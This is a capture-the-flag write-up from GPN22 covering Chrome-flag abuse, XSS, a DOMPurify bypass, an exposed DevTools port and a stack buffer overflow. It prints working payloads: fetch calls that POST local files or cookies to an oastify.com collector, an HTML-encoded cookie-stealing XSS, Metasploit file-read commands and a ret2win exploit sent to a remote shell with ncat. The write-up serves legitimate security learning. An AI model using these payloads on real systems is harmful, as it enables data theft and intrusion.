Introduction

The last few days, I was at the GPN22 in Karlsruhe with some friends from our LuXeria hackerspace. We participated in the CTF. Here are the solutions I wrote for the challenges we solved together.

So Many Flags

Description

I heard you like flags, so I launched Chrome with a lot of flags so you can get your flag!

The flag is in /flag.txt, and the bot will visit the HTML file you uploaded!

  • Category: Web

Analysis

There is a file upload form:

Google Chrome is started with numerous flags and the uploaded file:

const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags}     ${filePath}"`;

The following flags are included, which disable the same origin policy and allow local file access:

--disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir

It’s therefore possible to read files from other origins, including the file:// URI scheme for local files.

Solution

Upload a HTML file which reads the local file:

<script>
  async function getFlag(){
    response = await fetch("file:///flag.txt");
    flag = await response.text();
    fetch("https://lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com/", { method: "POST", body: flag})
  };
  getFlag();
</script>

The server will read the flag and send it to the external system:

POST / HTTP/1.1
Host: lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com
[...]

GPNCTF{CL1_FL4G5_4R3_FL4G5_T00}

Even more flags

Description

I heard you like flags, so I launched Chrome with a lot of flags again so you can get your flag!

This time the flag is localhost:1337/flag, and the bot will visit your URL!

  • Category: Web

Analysis

Similar challenge as So many flags, but this time, the flag is served on http://localhost:1337/flag and an URL instead of a file can be provided to the server which will then be opened by a Chrome browser:

Google Chrome is started with numerous flags and the provided URL:

const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags}     ${url}"`;

The following flags are included, which disable the same origin policy:

--disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir

It’s therefore possible to read files from other origins.

Solution

Store the following HTML file on a server and provide the URL to the application:

<script>
  async function getFlag(){
    response = await fetch("http://localhost:1337/flag");
    flag = await response.text();
    fetch("https://lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com/", { method: "POST", body: flag})
  };
  getFlag();
</script>

The server will read the flag and send it to the external system:

POST / HTTP/1.1
Host: lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com
[...]

GPNCTF{WHY_D0_50M3_0F_TH353_FL4G5_3V3N_3X15T}

todo

Description

I made a JS API! Sadly I had no time to finish it :(

  • Category: Web

Analysis

There are two input fields:

The first input field reflects user input:

app.post('/chal', (req, res) => {
    const { html } = req.body;
    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' 'unsafe-inline';");
    res.send(`
        <script src="/script.js"></script>
        ${html}
    `);
});

The file script.js contains a pseudo-flag as a comment:

class FlagAPI {
    [...]
    // TODO: Make sure that this is secure before deploying
    // getFlag() {
    //     return "GPNCTF{FAKE_FLAG_ADMINBOT_WILL_REPLACE_ME}"
    // }
}

When cookie with a specific random value is set, the pseudo-flag is replaced with the real flag:

app.get('/script.js', (req, res) => {
    res.type('.js');
    let response = script;
    if ((req.get("cookie") || "").includes(randomBytes)) response = response.replace(/GPNCTF\{.*\}/, flag)
    res.send(response);
});

When a payload is submitted in the second input field, a chrome browser is started with the cookie containing the correct random value. Then, the submitted payload is typed into the first input field and a screenshot of the rendered page is shown:

app.post('/admin', async (req, res) => {
    try {
        const { html } = req.body;
        const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
        const page = await browser.newPage();
        page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true });
        await page.goto('http://localhost:1337/');
        await page.type('input[name="html"]', html);
        await page.click('button[type="submit"]');
        await new Promise(resolve => setTimeout(resolve, 2000));
        const screenshot = await page.screenshot({ encoding: 'base64' });
        await browser.close();
        res.send(`<img src="data:image/png;base64,${screenshot}" />`);
    } catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});

Solution

The first input field is vulnerable to reflected XSS:

POST /chal HTTP/1.1
Host: never-forget-you--zara-larsson-3555.ctf.kitctf.de
[...]

html=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E

HTTP/1.1 200 OK
[...]

        <script src="/script.js"></script>
        <img src=x onerror=alert(document.domain)>

The payload is executed:

It’s now possible to perform a redirect to the file script.js which contains the pseudo-flag:

<img src=x onerror="document.location = '/script.js'">

When this payload is used in the admin input field, the browser containing the correct cookie will also submit this payload and redirect to the script.js. Because the correct cookie is set, the flag is included in the response:

todo-hard

Description

I made a JS API! Sadly I had no time to finish it :(

But I had time to make it harder!

  • Category: Web

Challenge

This is similar to the todo challenge, but this time, the flag in the response will be replaced by "nope":

app.post('/admin', async (req, res) => {
    try {
        const { html } = req.body;
        const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] }); 
        const page = await browser.newPage();
        page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true }); 
        await page.goto('http://localhost:1337/');
        await page.type('input[name="html"]', html);
        await page.click('button[type="submit"]');
        await new Promise(resolve => setTimeout(resolve, 2000));
        // NEW: run JS to replace the flag with "nope"
        await page.evaluate((flag) => { document.body.outerHTML = document.body.outerHTML.replace(flag, "nope") },     flag)
        const screenshot = await page.screenshot({ encoding: 'base64' }); 
        await browser.close();
        res.send(`<img src="data:image/png;base64,${screenshot}" />`);
    } catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});

Solution

The prototype of the replace function can be overwritten, so that another “replace” function is executed which just returns the first argument, instead of performing an actual replacement:

<script>
function Fun(a, b){ return a;};
String.prototype.replace = Fun;
</script>

The flag can then be seen in the screenshot in the response:

Refined Notes

Description

All my friends warned me about xss, so I created this note taking app that only accepts “refined” Notes.

  • Category: Web

Analysis

The website has an input text field:

On submit, the user input is sanitized client-side by DOMPurify and then sent to the server:

submit.addEventListener('click', (e) => {
    const purified = DOMPurify.sanitize(note.value);
    fetch("/", {
        method: "POST",
        body: purified
    }).then(response => response.text()).then((id) => {
        window.history.pushState({page: ''}, id, `/${id}`);
        submit.classList.add('hidden');
        note.classList.add('hidden');
        noteframe.classList.remove('hidden');
        noteframe.srcdoc = purified;
    });
});

Example:

POST / HTTP/1.1
Host: run-it--juelz-santana-7793.ctf.kitctf.de
[...]

ThisIsMyInput

HTTP/1.1 200 OK
[...]

0a9f3f23-03a6-4221-ae29-326adb83717d

The response returns a UUID for a new note. When this note is accessed, the user input is shown directly in the HTTP response in the srcdoc attribute of an iframe tag:

GET /0a9f3f23-03a6-4221-ae29-326adb83717d HTTP/1.1
Host: run-it--juelz-santana-7793.ctf.kitctf.de
[...]

HTTP/1.1 200 OK
[...]

<!DOCTYPE html>
[...]
<iframe id="noteframe" class=" bg-white w-full px-3 py-2 border rounded-md h-60" srcdoc="ThisIsMyInput"></iframe>
[...]

Another endpoint accepts a note UUID which will be visited by an admin user:

Solution

The following payload could be used to read the cookie and exfiltrate it to an external system:

<img src=x onerror="fetch('https://637nljzj6517nkhpr96kbngvfmld9axz.oastify.com' + '/?flag=' + document.cookie)">

This payload is however correctly sanitized. However, it’s possible to use HTML encoded values inside the srcdoc attribute of the iframe tag. This can e.g. be converted using CyberChef:

&lt;img src&equals;x onerror&equals;&quot;fetch&lpar;&apos;https&colon;&sol;&sol;637nljzj6517nkhpr96kbngvfmld9axz&period;oastify&period;com&apos; &plus; &apos;&sol;&quest;flag&equals;&apos; &plus; document&period;cookie&rpar;&quot;&gt;

Submit this payload:

POST / HTTP/1.1
Host: run-it--juelz-santana-7793.ctf.kitctf.de
[...]

&lt;img src&equals;x onerror&equals;&quot;fetch&lpar;&apos;https&colon;&sol;&sol;637nljzj6517nkhpr96kbngvfmld9axz&period;oastify&period;com&apos; &plus; &apos;&sol;&quest;flag&equals;&apos; &plus; document&period;cookie&rpar;&quot;&gt;

HTTP/1.1 200 OK
[...]

a9e39bd7-e234-45ee-a2c2-bc388b58ff02

Sending this UUID to the admin to let the admin visit the prepared note containing the XSS payload. When the admin visits this page, a request will be sent to the server containing the cookie which is the flag:

GET /?flag=flag=GPNCTF%7B3nc0d1ng_1s_th3_r00t_0f_4ll_3v1l%7D HTTP/1.1
Host: 637nljzj6517nkhpr96kbngvfmld9axz.oastify.com
[...]

Resources

Inspect Element

Description

Maybe using Inspect Element will help you!

Small hint: If you’re struggling with reproducing it on remote, you can use socat to proxy the remote instance to localhost:1337 like this: socat TCP-LISTEN:1337,fork OPENSSL:xxx--xxx-1234.ctf.kitctf.de:443 and it should behave exactly like a locally running docker container.

  • Category: Web

Analysis

The server starts a Chrome process with the remote debugging port exposed:

socat tcp-listen:1337,fork tcp:localhost:13370 & \
  google-chrome --remote-debugging-port=13370 --disable-gpu --headless=new --no-sandbox google.com

Solution

Forward a local port to the exposed debugging port (to have the port available via TCP and not only TLS):

socat TCP-LISTEN:1337,fork OPENSSL:how-deep-is-your-love--disciples-2841.ctf.kitctf.de:443

Use metasploit to read files via the exposed debugging port and get the flag:

msf6 > use auxiliary/gather/chrome_debugger
msf6 auxiliary(gather/chrome_debugger) > set FILEPATH /flag
msf6 auxiliary(gather/chrome_debugger) > set RHOSTS 127.0.0.1
msf6 auxiliary(gather/chrome_debugger) > set RPORT 1337
msf6 auxiliary(gather/chrome_debugger) > run
[*] Running module against 127.0.0.1

[*] Attempting Connection to ws://127.0.0.1:1337/devtools/page/67C7888B105174679C2317632CA196A6
[*] Opened connection
[*] Attempting to load url file:///flag
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Stored file:///flag at /home/emanuel/.msf4/loot/20240601211048_default_127.0.0.1_chrome.debugger._933372.txt

[*] Auxiliary module execution completed

msf6 auxiliary(gather/chrome_debugger) > exit

$ cat /home/emanuel/.msf4/loot/20240601211341_default_127.0.0.1_chrome.debugger._870365.txt
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">GPNCTF{D4NG3R0U5_D3BUGG3R}
</pre></body></html>

Resources

Never gonna give you UB

Description

Can you get this program to do what you want?

  • Category: pwn

Analysis

Code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void scratched_record() {
        printf("Oh no, your record seems scratched :(\n");
        printf("Here's a shell, maybe you can fix it:\n");
        execve("/bin/sh", NULL, NULL);
}

extern char *gets(char *s);

int main() {
        printf("Song rater v0.1\n-------------------\n\n");
        char buf[0xff];
        printf("Please enter your song:\n");
        gets(buf);
        printf("\"%s\" is an excellent choice!\n", buf);
        return 0;
}

The goal is to overwrite the buffer buf and jump to the scratched_record function in order to start a shell and read the flag.

Solution

Start binary in GDB (gdb-peda was used to simplify some stuff):

$ gdb ./song_rater
gdb-peda$

Create a pattern:

gdb-peda$ pattern_create 400                                                                                                                                   
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATA
AqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A
%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'

Start the program with the generated pattern as input and let it crash:

gdb-peda$ run < <(python -c 'print("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")')
Starting program: /home/emanuel/gpn22ctf/never-gonna-give-you-ub/song_rater < <(python -c 'print("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Song rater v0.1
-------------------

Please enter your song:
"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y" is an excellent choice!

Program received signal SIGSEGV, Segmentation fault.

The stack pointer RSP contains an address pointing to the following string:

RSP: 0x7fffffffdac8 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")

Therefore, it’s possible to control the stack pointer value. The controllable offset starts at byte 264:

gdb-peda$ pattern_offset "HA%dA%3A%IA%eA%4"
HA%dA%3A%IA%eA%4 found at offset: 264

The scratched_record function that starts a shell starts at 0x0000000000401196:

gdb-peda$ disass scratched_record 
quit
Dump of assembler code for function scratched_record:
   0x0000000000401196 <+0>:     endbr64
   0x000000000040119a <+4>:     push   rbp
[...]

Filling the buffer with 263 bytes of A and then the address of the scratched_record function in order to call it:

gdb-peda$ run < <(python -c 'print("A" * 263 + "\x96\x11\x40\x00\x00\x00\x00\x00")')

Starting program: /home/emanuel/gpn22ctf/never-gonna-give-you-ub/song_rater < <(python -c 'print("A" * 263 + "\x96\x11\x40\x00\x00\x00\x00\x00")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Song rater v0.1
-------------------

Please enter your song:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
process 40380 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]

The output shows that the shell was started.

Running the exploit against the target system to get a shell and read the flag:

$ (python -c 'print("A" * 263 + "\x96\x11\x40\x00\x00\x00\x00\x00")'; cat ) | ncat --ssl only-time--gunna-1152.ctf.kitctf.de 443
Song rater v0.1
-------------------

Please enter your song:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
cat /flag
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}

References